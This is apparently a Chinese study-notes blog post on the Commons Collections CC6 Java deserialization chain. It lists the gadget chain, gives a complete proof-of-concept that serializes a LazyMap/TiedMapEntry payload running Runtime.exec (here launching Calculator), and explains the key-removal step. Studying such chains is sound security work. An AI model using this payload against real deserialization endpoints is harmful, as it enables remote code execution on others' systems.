day6—反序列化(CommonsCollections6)

我们上一篇文章看过了CC1的链,我们继续跟随P牛的进度,来看看CC6,这条链主要是为了解决我们所说的在高版本JDK中无法使用AnnotationInvocationHandler,我们首先还是看一看P牛简化出来的链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

我们中间还是使用到了transform,LazyMap,在CC1中我们使用的是动态代理去触发AnnotationInvocationHandler#readObject,而JDK8U71以后,无法再使用AnnotationInvocationHandler

可以看到为了触发LazyMap#get,使用到了TiedMapEntry#getValue中的map.get(),而在TiedMapEntry#hashCode中调用了getValue,那么为触发TiedMapEntry#hashCode我们又使用HashMap#hash

,最终在HashMap#readObject中触发

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package Main;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
org.apache.commons.collections.Transformer[] fakeTransformers = new org.apache.commons.collections.Transformer[] {
new ConstantTransformer(1)};
org.apache.commons.collections.Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tie = new TiedMapEntry(outerMap,"key");
Map newMap = new HashMap();
newMap.put(tie,"value");
outerMap.remove("key");

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);


FileOutputStream baos = new FileOutputStream("cc6");
ObjectOutputStream oi = new ObjectOutputStream(baos);
oi.writeObject(newMap);
oi.close();
FileInputStream obj = new FileInputStream("cc6");
ObjectInputStream obtest = new ObjectInputStream(obj);
obtest.readObject();
obtest.close();
}
}

这条链相比CC1好理解很多,如果我们把CC1理解明白这里就不难

我们主要去理解这里多的一步outerMap.remove("key");

我们在lazyMap#get处打断点可以看到并没有进入if语句

image-20211121155853329

当我们newMap.put(tie,"value");时,使用到了HashMap#put,在put中也可以触发TiedMapEntry#hashcode

这个时候会有一个完整的调用链,会调用到lazyMap#get,而我们在第一次调用的时候并没有”key”这个键,而lazyMap#get方法会自动帮我们创建这个键,我们可以看到它的介绍,如果key不存在的话,会调用一个put方法,将key放入Map,这也就解释了为什么newMap.put(tie,"value");后会多出一个key

image-20211121161147206

image-20211121162417277

可以很清楚的看出来,当我们执行put后,我们的outermap发生了改变,多出了一个键值对,如果我们不删除该键,反序列化的时候就无法进入进入if语句